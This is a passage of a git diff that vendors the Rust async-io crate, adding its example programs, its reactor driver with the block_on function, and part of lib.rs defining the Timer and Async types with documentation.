println!("Sleeping..."); + + // Sleep for a second using an OS timer. + sleep(Duration::from_secs(1)).await?; + + println!("Woke up after {:?}", start.elapsed()); + Ok(()) + }) +} + +#[cfg(not(target_os = "linux"))] +fn main() { + println!("This example works only on Linux!"); +} diff --git a/lib/malio/async-io/examples/unix-signal.rs b/lib/malio/async-io/examples/unix-signal.rs new file mode 100644 index 0000000..e712893 --- /dev/null +++ b/lib/malio/async-io/examples/unix-signal.rs @@ -0,0 +1,33 @@ +//! Uses the `signal-hook` crate to catch the Ctrl-C signal. +//! +//! Run with: +//! +//! ``` +//! cargo run --example unix-signal +//! ``` + +#[cfg(unix)] +fn main() -> std::io::Result<()> { + use std::os::unix::{io::AsRawFd, net::UnixStream}; + + use async_io::Async; + use futures_lite::{future, prelude::*}; + + future::block_on(async { + // Create a Unix stream that receives a byte on each signal occurrence. + let (a, mut b) = Async::::pair()?; + signal_hook::low_level::pipe::register_raw(signal_hook::consts::SIGINT, a.as_raw_fd())?; + println!("Waiting for Ctrl-C..."); + + // Receive a byte that indicates the Ctrl-C signal occurred. + b.read_exact(&mut [0]).await?; + + println!("Done!"); + Ok(()) + }) +} + +#[cfg(not(unix))] +fn main() { + println!("This example works only on Unix systems!"); +} diff --git a/lib/malio/async-io/examples/windows-command.rs b/lib/malio/async-io/examples/windows-command.rs new file mode 100644 index 0000000..f8c0ff5 --- /dev/null +++ b/lib/malio/async-io/examples/windows-command.rs @@ -0,0 +1,34 @@ +//! Runs a command using waitable handles on Windows. +//! +//! Run with: +//! +//! ``` +//! cargo run --example windows-command +//! ``` + +#[cfg(windows)] +fn main() -> std::io::Result<()> { + use async_io::os::windows::Waitable; + use std::process::Command; + + futures_lite::future::block_on(async { + // Spawn a process. + let process = Command::new("cmd") + .args(["/C", "echo hello"]) + .spawn() + .expect("failed to spawn process"); + + // Wrap the process in an `Async` object that waits for it to exit. + let process = Waitable::new(process)?; + + // Wait for the process to exit. + process.ready().await?; + + Ok(()) + }) +} + +#[cfg(not(windows))] +fn main() { + println!("This example is only supported on Windows."); +} diff --git a/lib/malio/async-io/examples/windows-uds.rs b/lib/malio/async-io/examples/windows-uds.rs new file mode 100644 index 0000000..0f1bf04 --- /dev/null +++ b/lib/malio/async-io/examples/windows-uds.rs @@ -0,0 +1,127 @@ +//! Uses the `uds_windows` crate to simulate Unix sockets on Windows. +//! +//! Run with: +//! +//! ``` +//! cargo run --example windows-uds +//! ``` + +#[cfg(windows)] +fn main() -> std::io::Result<()> { + use std::ops::Deref; + use std::os::windows::io::{AsRawSocket, AsSocket, BorrowedSocket}; + use std::path::PathBuf; + + use async_io::Async; + use blocking::Unblock; + use futures_lite::{future, prelude::*}; + use std::io; + use tempfile::tempdir; + + // n.b.: notgull: uds_windows does not support I/O safety uet, hence the wrapper types + + struct UnixListener(uds_windows::UnixListener); + + impl From for UnixListener { + fn from(ul: uds_windows::UnixListener) -> Self { + Self(ul) + } + } + + impl Deref for UnixListener { + type Target = uds_windows::UnixListener; + + fn deref(&self) -> &uds_windows::UnixListener { + &self.0 + } + } + + impl AsSocket for UnixListener { + fn as_socket(&self) -> BorrowedSocket<'_> { + unsafe { BorrowedSocket::borrow_raw(self.as_raw_socket()) } + } + } + + struct UnixStream(uds_windows::UnixStream); + + impl From for UnixStream { + fn from(ul: uds_windows::UnixStream) -> Self { + Self(ul) + } + } + + impl Deref for UnixStream { + type Target = uds_windows::UnixStream; + + fn deref(&self) -> &uds_windows::UnixStream { + &self.0 + } + } + + impl AsSocket for UnixStream { + fn as_socket(&self) -> BorrowedSocket<'_> { + unsafe { BorrowedSocket::borrow_raw(self.as_raw_socket()) } + } + } + + impl io::Read for UnixStream { + fn read(&mut self, buf: &mut [u8]) -> io::Result { + io::Read::read(&mut self.0, buf) + } + } + + impl io::Write for UnixStream { + fn write(&mut self, buf: &[u8]) -> io::Result { + io::Write::write(&mut self.0, buf) + } + + fn flush(&mut self) -> io::Result<()> { + io::Write::flush(&mut self.0) + } + } + + unsafe impl async_io::IoSafe for UnixStream {} + + async fn client(addr: PathBuf) -> io::Result<()> { + // Connect to the address. + let stream = Async::new(UnixStream::from(uds_windows::UnixStream::connect(addr)?))?; + println!("Connected to {:?}", stream.get_ref().peer_addr()?); + + // Pipe the stream to stdout. + let mut stdout = Unblock::new(std::io::stdout()); + futures_lite::io::copy(stream, &mut stdout).await?; + Ok(()) + } + + let dir = tempdir()?; + let path = dir.path().join("socket"); + + future::block_on(async { + // Create a listener. + let listener = Async::new(UnixListener::from(uds_windows::UnixListener::bind(&path)?))?; + println!("Listening on {:?}", listener.get_ref().local_addr()?); + + future::try_zip( + async { + // Accept the client. + let (stream, _) = listener.read_with(|l| l.accept()).await?; + println!("Accepted a client"); + + // Send a message, drop the stream, and wait for the client. + Async::new(UnixStream::from(stream))? + .write_all(b"Hello!\n") + .await?; + Ok(()) + }, + client(path), + ) + .await?; + + Ok(()) + }) +} + +#[cfg(not(windows))] +fn main() { + println!("This example works only on Windows!"); +} diff --git a/lib/malio/async-io/src/driver.rs b/lib/malio/async-io/src/driver.rs new file mode 100644 index 0000000..73ec4cb --- /dev/null +++ b/lib/malio/async-io/src/driver.rs @@ -0,0 +1,303 @@ +use std::cell::{Cell, RefCell}; +use std::future::Future; +use std::pin::pin; +use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering}; +use std::sync::{Arc, OnceLock}; +use std::task::{Context, Poll, Waker}; +use std::thread; +use std::time::{Duration, Instant}; + +use parking::Parker; + +use crate::reactor::Reactor; + +/// Number of currently active `block_on()` invocations. +static BLOCK_ON_COUNT: AtomicUsize = AtomicUsize::new(0); + +/// Unparker for the "async-io" thread. +fn unparker() -> &'static parking::Unparker { + static UNPARKER: OnceLock = OnceLock::new(); + + UNPARKER.get_or_init(|| { + let (parker, unparker) = parking::pair(); + + // Spawn a helper thread driving the reactor. + // + // Note that this thread is not exactly necessary, it's only here to help push things + // forward if there are no `Parker`s around or if `Parker`s are just idling and never + // parking. + thread::Builder::new() + .name("async-io".to_string()) + .spawn(move || main_loop(parker)) + .expect("cannot spawn async-io thread"); + + unparker + }) +} + +/// Initializes the "async-io" thread. +pub(crate) fn init() { + let _ = unparker(); +} + +/// The main loop for the "async-io" thread. +fn main_loop(parker: parking::Parker) { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!("async_io::main_loop"); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + // The last observed reactor tick. + let mut last_tick = 0; + // Number of sleeps since this thread has called `react()`. + let mut sleeps = 0u64; + + loop { + let tick = Reactor::get().ticker(); + + if last_tick == tick { + let reactor_lock = if sleeps >= 10 { + // If no new ticks have occurred for a while, stop sleeping and spinning in + // this loop and just block on the reactor lock. + Some(Reactor::get().lock()) + } else { + Reactor::get().try_lock() + }; + + if let Some(mut reactor_lock) = reactor_lock { + #[cfg(feature = "tracing")] + tracing::trace!("waiting on I/O"); + reactor_lock.react(None).ok(); + last_tick = Reactor::get().ticker(); + sleeps = 0; + } + } else { + last_tick = tick; + } + + if BLOCK_ON_COUNT.load(Ordering::SeqCst) > 0 { + // Exponential backoff from 50us to 10ms. + let delay_us = [50, 75, 100, 250, 500, 750, 1000, 2500, 5000] + .get(sleeps as usize) + .unwrap_or(&10_000); + + #[cfg(feature = "tracing")] + tracing::trace!("sleeping for {} us", delay_us); + if parker.park_timeout(Duration::from_micros(*delay_us)) { + #[cfg(feature = "tracing")] + tracing::trace!("notified"); + + // If notified before timeout, reset the last tick and the sleep counter. + last_tick = Reactor::get().ticker(); + sleeps = 0; + } else { + sleeps += 1; + } + } + } +} + +/// Blocks the current thread on a future, processing I/O events when idle. +/// +/// # Examples +/// +/// ``` +/// use async_io::Timer; +/// use std::time::Duration; +/// +/// async_io::block_on(async { +/// // This timer will likely be processed by the current +/// // thread rather than the fallback "async-io" thread. +/// Timer::after(Duration::from_millis(1)).await; +/// }); +/// ``` +pub fn block_on(future: impl Future) -> T { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!("async_io::block_on"); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + // Increment `BLOCK_ON_COUNT` so that the "async-io" thread becomes less aggressive. + BLOCK_ON_COUNT.fetch_add(1, Ordering::SeqCst); + + // Make sure to decrement `BLOCK_ON_COUNT` at the end and wake the "async-io" thread. + let _guard = CallOnDrop(|| { + BLOCK_ON_COUNT.fetch_sub(1, Ordering::SeqCst); + unparker().unpark(); + }); + + // Creates a parker and an associated waker that unparks it. + fn parker_and_waker() -> (Parker, Waker, Arc) { + // Parker and unparker for notifying the current thread. + let (p, u) = parking::pair(); + + // This boolean is set to `true` when the current thread is blocked on I/O. + let io_blocked = Arc::new(AtomicBool::new(false)); + + // Prepare the waker. + let waker = BlockOnWaker::create(io_blocked.clone(), u); + + (p, waker, io_blocked) + } + + thread_local! { + // Cached parker and waker for efficiency. + static CACHE: RefCell<(Parker, Waker, Arc)> = RefCell::new(parker_and_waker()); + + // Indicates that the current thread is polling I/O, but not necessarily blocked on it. + static IO_POLLING: Cell = const { Cell::new(false) }; + } + + struct BlockOnWaker { + io_blocked: Arc, + unparker: parking::Unparker, + } + + impl BlockOnWaker { + fn create(io_blocked: Arc, unparker: parking::Unparker) -> Waker { + Waker::from(Arc::new(BlockOnWaker { + io_blocked, + unparker, + })) + } + } + + impl std::task::Wake for BlockOnWaker { + fn wake_by_ref(self: &Arc) { + if self.unparker.unpark() { + // Check if waking from another thread and if currently blocked on I/O. + if !IO_POLLING.with(Cell::get) && self.io_blocked.load(Ordering::SeqCst) { + Reactor::get().notify(); + } + } + } + + fn wake(self: Arc) { + self.wake_by_ref() + } + } + + CACHE.with(|cache| { + // Try grabbing the cached parker and waker. + let tmp_cached; + let tmp_fresh; + let (p, waker, io_blocked) = match cache.try_borrow_mut() { + Ok(cache) => { + // Use the cached parker and waker. + tmp_cached = cache; + &*tmp_cached + } + Err(_) => { + // Looks like this is a recursive `block_on()` call. + // Create a fresh parker and waker. + tmp_fresh = parker_and_waker(); + &tmp_fresh + } + }; + + let mut future = pin!(future); + + let cx = &mut Context::from_waker(waker); + + loop { + // Poll the future. + if let Poll::Ready(t) = future.as_mut().poll(cx) { + // Ensure the cached parker is reset to the unnotified state for future block_on calls, + // in case this future called wake and then immediately returned Poll::Ready. + p.park_timeout(Duration::from_secs(0)); + #[cfg(feature = "tracing")] + tracing::trace!("completed"); + return t; + } + + // Check if a notification was received. + if p.park_timeout(Duration::from_secs(0)) { + #[cfg(feature = "tracing")] + tracing::trace!("notified"); + + // Try grabbing a lock on the reactor to process I/O events. + if let Some(mut reactor_lock) = Reactor::get().try_lock() { + // First let wakers know this parker is processing I/O events. + IO_POLLING.with(|io| io.set(true)); + let _guard = CallOnDrop(|| { + IO_POLLING.with(|io| io.set(false)); + }); + + // Process available I/O events. + reactor_lock.react(Some(Duration::from_secs(0))).ok(); + } + continue; + } + + // Try grabbing a lock on the reactor to wait on I/O. + if let Some(mut reactor_lock) = Reactor::get().try_lock() { + // Record the instant at which the lock was grabbed. + let start = Instant::now(); + + loop { + // First let wakers know this parker is blocked on I/O. + IO_POLLING.with(|io| io.set(true)); + io_blocked.store(true, Ordering::SeqCst); + let _guard = CallOnDrop(|| { + IO_POLLING.with(|io| io.set(false)); + io_blocked.store(false, Ordering::SeqCst); + }); + + // Check if a notification has been received before `io_blocked` was updated + // because in that case the reactor won't receive a wakeup. + if p.park_timeout(Duration::from_secs(0)) { + #[cfg(feature = "tracing")] + tracing::trace!("notified"); + break; + } + + // Wait for I/O events. + #[cfg(feature = "tracing")] + tracing::trace!("waiting on I/O"); + reactor_lock.react(None).ok(); + + // Check if a notification has been received. + if p.park_timeout(Duration::from_secs(0)) { + #[cfg(feature = "tracing")] + tracing::trace!("notified"); + break; + } + + // Check if this thread been handling I/O events for a long time. + if start.elapsed() > Duration::from_micros(500) { + #[cfg(feature = "tracing")] + tracing::trace!("stops hogging the reactor"); + + // This thread is clearly processing I/O events for some other threads + // because it didn't get a notification yet. It's best to stop hogging the + // reactor and give other threads a chance to process I/O events for + // themselves. + drop(reactor_lock); + + // Unpark the "async-io" thread in case no other thread is ready to start + // processing I/O events. This way we prevent a potential latency spike. + unparker().unpark(); + + // Wait for a notification. + p.park(); + break; + } + } + } else { + // Wait for an actual notification. + #[cfg(feature = "tracing")] + tracing::trace!("sleep until notification"); + p.park(); + } + } + }) +} + +/// Runs a closure when dropped. +struct CallOnDrop(F); + +impl Drop for CallOnDrop { + fn drop(&mut self) { + (self.0)(); + } +} diff --git a/lib/malio/async-io/src/lib.rs b/lib/malio/async-io/src/lib.rs new file mode 100644 index 0000000..f080d46 --- /dev/null +++ b/lib/malio/async-io/src/lib.rs @@ -0,0 +1,2241 @@ +//! Async I/O and timers. +//! +//! This crate provides two tools: +//! +//! * [`Async`], an adapter for standard networking types (and [many other] types) to use in +//! async programs. +//! * [`Timer`], a future or stream that emits timed events. +//! +//! For concrete async networking types built on top of this crate, see [`async-net`]. +//! +//! [many other]: https://github.com/smol-rs/async-io/tree/master/examples +//! [`async-net`]: https://docs.rs/async-net +//! +//! # Implementation +//! +//! The first time [`Async`] or [`Timer`] is used, a thread named "async-io" will be spawned. +//! The purpose of this thread is to wait for I/O events reported by the operating system, and then +//! wake appropriate futures blocked on I/O or timers when they can be resumed. +//! +//! To wait for the next I/O event, the "async-io" thread uses [epoll] on Linux/Android/illumos, +//! [kqueue] on macOS/iOS/BSD, [event ports] on illumos/Solaris, and [IOCP] on Windows. That +//! functionality is provided by the [`polling`] crate. +//! +//! However, note that you can also process I/O events and wake futures on any thread using the +//! [`block_on()`] function. The "async-io" thread is therefore just a fallback mechanism +//! processing I/O events in case no other threads are. +//! +//! [epoll]: https://en.wikipedia.org/wiki/Epoll +//! [kqueue]: https://en.wikipedia.org/wiki/Kqueue +//! [event ports]: https://illumos.org/man/port_create +//! [IOCP]: https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports +//! [`polling`]: https://docs.rs/polling +//! +//! # Examples +//! +//! Connect to `example.com:80`, or time out after 10 seconds. +//! +//! ``` +//! use async_io::{Async, Timer}; +//! use futures_lite::{future::FutureExt, io}; +//! +//! use std::net::{TcpStream, ToSocketAddrs}; +//! use std::time::Duration; +//! +//! # futures_lite::future::block_on(async { +//! let addr = "example.com:80".to_socket_addrs()?.next().unwrap(); +//! +//! let stream = Async::::connect(addr).or(async { +//! Timer::after(Duration::from_secs(10)).await; +//! Err(io::ErrorKind::TimedOut.into()) +//! }) +//! .await?; +//! # std::io::Result::Ok(()) }); +//! ``` + +#![warn(missing_docs, missing_debug_implementations, rust_2018_idioms)] +#![doc( + html_favicon_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![doc( + html_logo_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] + +use std::future::{poll_fn, Future}; +use std::io::{self, IoSlice, IoSliceMut, Read, Write}; +use std::net::{SocketAddr, TcpListener, TcpStream, UdpSocket}; +use std::pin::{pin, Pin}; +use std::sync::Arc; +use std::task::{ready, Context, Poll, Waker}; +use std::time::{Duration, Instant}; + +#[cfg(unix)] +use std::{ + os::unix::io::{AsFd, AsRawFd, BorrowedFd, OwnedFd, RawFd}, + os::unix::net::{SocketAddr as UnixSocketAddr, UnixDatagram, UnixListener, UnixStream}, + path::Path, +}; + +#[cfg(windows)] +use std::os::windows::io::{AsRawSocket, AsSocket, BorrowedSocket, OwnedSocket, RawSocket}; + +use futures_io::{AsyncRead, AsyncWrite}; +use futures_lite::stream::{self, Stream}; + +use rustix::io as rio; +use rustix::net as rn; +use rustix::net::addr::SocketAddrArg; + +use crate::reactor::{Reactor, Registration, Source}; + +mod driver; +mod reactor; + +pub mod os; + +pub use driver::block_on; +pub use reactor::{Readable, ReadableOwned, Writable, WritableOwned}; + +/// A future or stream that emits timed events. +/// +/// Timers are futures that output a single [`Instant`] when they fire. +/// +/// Timers are also streams that can output [`Instant`]s periodically. +/// +/// # Precision +/// +/// There is a limit on the maximum precision that a `Timer` can provide. This limit is +/// dependent on the current platform; for instance, on Windows, the maximum precision is +/// about 16 milliseconds. Because of this limit, the timer may sleep for longer than the +/// requested duration. It will never sleep for less. +/// +/// # Examples +/// +/// Sleep for 1 second: +/// +/// ``` +/// use async_io::Timer; +/// use std::time::Duration; +/// +/// # futures_lite::future::block_on(async { +/// Timer::after(Duration::from_secs(1)).await; +/// # }); +/// ``` +/// +/// Timeout after 1 second: +/// +/// ``` +/// use async_io::Timer; +/// use futures_lite::FutureExt; +/// use std::time::Duration; +/// +/// # futures_lite::future::block_on(async { +/// let addrs = async_net::resolve("google.com:80") +/// .or(async { +/// Timer::after(Duration::from_secs(1)).await; +/// Err(std::io::ErrorKind::TimedOut.into()) +/// }) +/// .await?; +/// # std::io::Result::Ok(()) }); +/// ``` +#[doc(alias = "sleep")] +#[doc(alias = "timeout")] +#[derive(Debug)] +pub struct Timer { + /// This timer's ID and last waker that polled it. + /// + /// When this field is set to `None`, this timer is not registered in the reactor. + id_and_waker: Option<(usize, Waker)>, + + /// The next instant at which this timer fires. + /// + /// If this timer is a blank timer, this value is None. If the timer + /// must be set, this value contains the next instant at which the + /// timer must fire. + when: Option, + + /// The period. + period: Duration, +} + +impl Timer { + /// Creates a timer that will never fire. + /// + /// # Examples + /// + /// This function may also be useful for creating a function with an optional timeout. + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_io::Timer; + /// use futures_lite::prelude::*; + /// use std::time::Duration; + /// + /// async fn run_with_timeout(timeout: Option) { + /// let timer = timeout + /// .map(|timeout| Timer::after(timeout)) + /// .unwrap_or_else(Timer::never); + /// + /// run_lengthy_operation().or(timer).await; + /// } + /// # // Note that since a Timer as a Future returns an Instant, + /// # // this function needs to return an Instant to be used + /// # // in "or". + /// # async fn run_lengthy_operation() -> std::time::Instant { + /// # std::time::Instant::now() + /// # } + /// + /// // Times out after 5 seconds. + /// run_with_timeout(Some(Duration::from_secs(5))).await; + /// // Does not time out. + /// run_with_timeout(None).await; + /// # }); + /// ``` + pub fn never() -> Timer { + Timer { + id_and_waker: None, + when: None, + period: Duration::MAX, + } + } + + /// Creates a timer that emits an event once after the given duration of time. + /// + /// # Examples + /// + /// ``` + /// use async_io::Timer; + /// use std::time::Duration; + /// + /// # futures_lite::future::block_on(async { + /// Timer::after(Duration::from_secs(1)).await; + /// # }); + /// ``` + pub fn after(duration: Duration) -> Timer { + Instant::now() + .checked_add(duration) + .map_or_else(Timer::never, Timer::at) + } + + /// Creates a timer that emits an event once at the given time instant. + /// + /// # Examples + /// + /// ``` + /// use async_io::Timer; + /// use std::time::{Duration, Instant}; + /// + /// # futures_lite::future::block_on(async { + /// let now = Instant::now(); + /// let when = now + Duration::from_secs(1); + /// Timer::at(when).await; + /// # }); + /// ``` + pub fn at(instant: Instant) -> Timer { + Timer::interval_at(instant, Duration::MAX) + } + + /// Creates a timer that emits events periodically. + /// + /// # Examples + /// + /// ``` + /// use async_io::Timer; + /// use futures_lite::StreamExt; + /// use std::time::{Duration, Instant}; + /// + /// # futures_lite::future::block_on(async { + /// let period = Duration::from_secs(1); + /// Timer::interval(period).next().await; + /// # }); + /// ``` + pub fn interval(period: Duration) -> Timer { + Instant::now() + .checked_add(period) + .map_or_else(Timer::never, |at| Timer::interval_at(at, period)) + } + + /// Creates a timer that emits events periodically, starting at `start`. + /// + /// # Examples + /// + /// ``` + /// use async_io::Timer; + /// use futures_lite::StreamExt; + /// use std::time::{Duration, Instant}; + /// + /// # futures_lite::future::block_on(async { + /// let start = Instant::now(); + /// let period = Duration::from_secs(1); + /// Timer::interval_at(start, period).next().await; + /// # }); + /// ``` + pub fn interval_at(start: Instant, period: Duration) -> Timer { + Timer { + id_and_waker: None, + when: Some(start), + period, + } + } + + /// Indicates whether or not this timer will ever fire. + /// + /// [`never()`] will never fire, and timers created with [`after()`] or [`at()`] will fire + /// if the duration is not too large. + /// + /// [`never()`]: Timer::never() + /// [`after()`]: Timer::after() + /// [`at()`]: Timer::at() + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_io::Timer; + /// use futures_lite::prelude::*; + /// use std::time::Duration; + /// + /// // `never` will never fire. + /// assert!(!Timer::never().will_fire()); + /// + /// // `after` will fire if the duration is not too large. + /// assert!(Timer::after(Duration::from_secs(1)).will_fire()); + /// assert!(!Timer::after(Duration::MAX).will_fire()); + /// + /// // However, once an `after` timer has fired, it will never fire again. + /// let mut t = Timer::after(Duration::from_secs(1)); + /// assert!(t.will_fire()); + /// (&mut t).await; + /// assert!(!t.will_fire()); + /// + /// // Interval timers will fire periodically. + /// let mut t = Timer::interval(Duration::from_secs(1)); + /// assert!(t.will_fire()); + /// t.next().await; + /// assert!(t.will_fire()); + /// # }); + /// ``` + #[inline] + pub fn will_fire(&self) -> bool { + self.when.is_some() + } + + /// Sets the timer to emit an event once after the given duration of time. + /// + /// Note that resetting a timer is different from creating a new timer because + /// [`set_after()`][`Timer::set_after()`] does not remove the waker associated with the task + /// that is polling the timer. + /// + /// # Examples + /// + /// ``` + /// use async_io::Timer; + /// use std::time::Duration; + /// + /// # futures_lite::future::block_on(async { + /// let mut t = Timer::after(Duration::from_secs(1)); + /// t.set_after(Duration::from_millis(100)); + /// # }); + /// ``` + pub fn set_after(&mut self, duration: Duration) { + match Instant::now().checked_add(duration) { + Some(instant) => self.set_at(instant), + None => { + // Overflow to never going off. + self.clear(); + } + } + } + + /// Sets the timer to emit an event once at the given time instant. + /// + /// Note that resetting a timer is different from creating a new timer because + /// [`set_at()`][`Timer::set_at()`] does not remove the waker associated with the task + /// that is polling the timer. + /// + /// # Examples + /// + /// ``` + /// use async_io::Timer; + /// use std::time::{Duration, Instant}; + /// + /// # futures_lite::future::block_on(async { + /// let mut t = Timer::after(Duration::from_secs(1)); + /// + /// let now = Instant::now(); + /// let when = now + Duration::from_secs(1); + /// t.set_at(when); + /// # }); + /// ``` + pub fn set_at(&mut self, instant: Instant) { + self.clear(); + + // Update the timeout. + self.when = Some(instant); + + if let Some((id, waker)) = self.id_and_waker.as_mut() { + // Re-register the timer with the new timeout. + *id = Reactor::get().insert_timer(instant, waker); + } + } + + /// Sets the timer to emit events periodically. + /// + /// Note that resetting a timer is different from creating a new timer because + /// [`set_interval()`][`Timer::set_interval()`] does not remove the waker associated with the + /// task that is polling the timer. + /// + /// # Examples + /// + /// ``` + /// use async_io::Timer; + /// use futures_lite::StreamExt; + /// use std::time::{Duration, Instant}; + /// + /// # futures_lite::future::block_on(async { + /// let mut t = Timer::after(Duration::from_secs(1)); + /// + /// let period = Duration::from_secs(2); + /// t.set_interval(period); + /// # }); + /// ``` + pub fn set_interval(&mut self, period: Duration) { + match Instant::now().checked_add(period) { + Some(instant) => self.set_interval_at(instant, period), + None => { + // Overflow to never going off. + self.clear(); + } + } + } + + /// Sets the timer to emit events periodically, starting at `start`. + /// + /// Note that resetting a timer is different from creating a new timer because + /// [`set_interval_at()`][`Timer::set_interval_at()`] does not remove the waker associated with + /// the task that is polling the timer. + /// + /// # Examples + /// + /// ``` + /// use async_io::Timer; + /// use futures_lite::StreamExt; + /// use std::time::{Duration, Instant}; + /// + /// # futures_lite::future::block_on(async { + /// let mut t = Timer::after(Duration::from_secs(1)); + /// + /// let start = Instant::now(); + /// let period = Duration::from_secs(2); + /// t.set_interval_at(start, period); + /// # }); + /// ``` + pub fn set_interval_at(&mut self, start: Instant, period: Duration) { + self.clear(); + + self.when = Some(start); + self.period = period; + + if let Some((id, waker)) = self.id_and_waker.as_mut() { + // Re-register the timer with the new timeout. + *id = Reactor::get().insert_timer(start, waker); + } + } + + /// Clear any timeouts set on this timer. It will never fire again until a new interval or instant is set. + pub fn clear(&mut self) { + if let (Some(when), Some((id, _))) = (self.when, self.id_and_waker.as_ref()) { + // Deregister the timer from the reactor. + Reactor::get().remove_timer(when, *id); + } + self.when = None; + } +} + +impl Drop for Timer { + fn drop(&mut self) { + if let (Some(when), Some((id, _))) = (self.when, self.id_and_waker.take()) { + // Deregister the timer from the reactor. + Reactor::get().remove_timer(when, id); + } + } +} + +impl Future for Timer { + type Output = Instant; + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + match self.poll_next(cx) { + Poll::Ready(Some(when)) => Poll::Ready(when), + Poll::Pending => Poll::Pending, + Poll::Ready(None) => unreachable!(), + } + } +} + +impl Stream for Timer { + type Item = Instant; + + fn poll_next(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + let this = self.get_mut(); + + if let Some(ref mut when) = this.when { + // Check if the timer has already fired. + if Instant::now() >= *when { + if let Some((id, _)) = this.id_and_waker.take() { + // Deregister the timer from the reactor. + Reactor::get().remove_timer(*when, id); + } + let result_time = *when; + if let Some(next) = (*when).checked_add(this.period) { + *when = next; + // Register the timer in the reactor. + let id = Reactor::get().insert_timer(next, cx.waker()); + this.id_and_waker = Some((id, cx.waker().clone())); + } else { + this.when = None; + } + return Poll::Ready(Some(result_time)); + } else { + match &this.id_and_waker { + None => { + // Register the timer in the reactor. + let id = Reactor::get().insert_timer(*when, cx.waker()); + this.id_and_waker = Some((id, cx.waker().clone())); + } + Some((id, w)) if !w.will_wake(cx.waker()) => { + // Deregister the timer from the reactor to remove the old waker. + Reactor::get().remove_timer(*when, *id); + + // Register the timer in the reactor with the new waker. + let id = Reactor::get().insert_timer(*when, cx.waker()); + this.id_and_waker = Some((id, cx.waker().clone())); + } + Some(_) => {} + } + } + } + + Poll::Pending + } +} + +/// Async adapter for I/O types. +/// +/// This type puts an I/O handle into non-blocking mode, registers it in +/// [epoll]/[kqueue]/[event ports]/[IOCP], and then provides an async interface for it. +/// +/// [epoll]: https://en.wikipedia.org/wiki/Epoll +/// [kqueue]: https://en.wikipedia.org/wiki/Kqueue +/// [event ports]: https://illumos.org/man/port_create +/// [IOCP]: https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports +/// +/// # Caveats +/// +/// [`Async`] is a low-level primitive, and as such it comes with some caveats. +/// +/// For higher-level primitives built on top of [`Async`], look into [`async-net`] or +/// [`async-process`] (on Unix). +/// +/// The most notable caveat is that it is unsafe to access the inner I/O source mutably +/// using this primitive. Traits likes [`AsyncRead`] and [`AsyncWrite`] are not implemented by +/// default unless it is guaranteed that the resource won't be invalidated by reading or writing. +/// See the [`IoSafe`] trait for more information. +/// +/// [`async-net`]: https://github.com/smol-rs/async-net +/// [`async-process`]: https://github.com/smol-rs/async-process +/// [`AsyncRead`]: https://docs.rs/futures-io/latest/futures_io/trait.AsyncRead.html +/// [`AsyncWrite`]: https://docs.rs/futures-io/latest/futures_io/trait.AsyncWrite.html +/// +/// ### Supported types +/// +/// [`Async`] supports all networking types, as well as some OS-specific file descriptors like +/// [timerfd] and [inotify]. +/// +/// However, do not use [`Async`] with types like [`File`][`std::fs::File`], +/// [`Stdin`][`std::io::Stdin`], [`Stdout`][`std::io::Stdout`], or [`Stderr`][`std::io::Stderr`] +/// because all operating systems have issues with them when put in non-blocking mode. +/// +/// [timerfd]: https://github.com/smol-rs/async-io/blob/master/examples/linux-timerfd.rs +/// [inotify]: https://github.com/smol-rs/async-io/blob/master/examples/linux-inotify.rs +/// +/// ### Concurrent I/O +/// +/// Note that [`&Async`][`Async`] implements [`AsyncRead`] and [`AsyncWrite`] if `&T` +/// implements those traits, which means tasks can concurrently read and write using shared +/// references. +/// +/// But there is a catch: only one task can read a time, and only one task can write at a time. It +/// is okay to have two tasks where one is reading and the other is writing at the same time, but +/// it is not okay to have two tasks reading at the same time or writing at the same time. If you +/// try to do that, conflicting tasks will just keep waking each other in turn, thus wasting CPU +/// time. +/// +/// Besides [`AsyncRead`] and [`AsyncWrite`], this caveat also applies to +/// [`poll_readable()`][`Async::poll_readable()`] and +/// [`poll_writable()`][`Async::poll_writable()`]. +/// +/// However, any number of tasks can be concurrently calling other methods like +/// [`readable()`][`Async::readable()`] or [`read_with()`][`Async::read_with()`]. +/// +/// ### Closing +/// +/// Closing the write side of [`Async`] with [`close()`][`futures_lite::AsyncWriteExt::close()`] +/// simply flushes. If you want to shutdown a TCP or Unix socket, use +/// [`Shutdown`][`std::net::Shutdown`]. +/// +/// # Examples +/// +/// Connect to a server and echo incoming messages back to the server: +/// +/// ```no_run +/// use async_io::Async; +/// use futures_lite::io; +/// use std::net::TcpStream; +/// +/// # futures_lite::future::block_on(async { +/// // Connect to a local server. +/// let stream = Async::::connect(([127, 0, 0, 1], 8000)).await?; +/// +/// // Echo all messages from the read side of the stream into the write side. +/// io::copy(&stream, &stream).await?; +/// # std::io::Result::Ok(()) }); +/// ``` +/// +/// You can use either predefined async methods or wrap blocking I/O operations in +/// [`Async::read_with()`], [`Async::read_with_mut()`], [`Async::write_with()`], and +/// [`Async::write_with_mut()`]: +/// +/// ```no_run +/// use async_io::Async; +/// use std::net::TcpListener; +/// +/// # futures_lite::future::block_on(async { +/// let listener = Async::::bind(([127, 0, 0, 1], 0))?; +/// +/// // These two lines are equivalent: +/// let (stream, addr) = listener.accept().await?; +/// let (stream, addr) = listener.read_with(|inner| inner.accept()).await?; +/// # std::io::Result::Ok(()) }); +/// ``` +#[derive(Debug)] +pub struct Async { + /// A source registered in the reactor. + source: Arc, + + /// The inner I/O handle. + io: Option, +} + +impl Unpin for Async {} + +#[cfg(unix)] +impl Async { + /// Creates an async I/O handle. + /// + /// This method will put the handle in non-blocking mode and register it in + /// [epoll]/[kqueue]/[event ports]/[IOCP]. + /// + /// On Unix systems, the handle must implement `AsFd`, while on Windows it must implement + /// `AsSocket`. + /// + /// [epoll]: https://en.wikipedia.org/wiki/Epoll + /// [kqueue]: https://en.wikipedia.org/wiki/Kqueue + /// [event ports]: 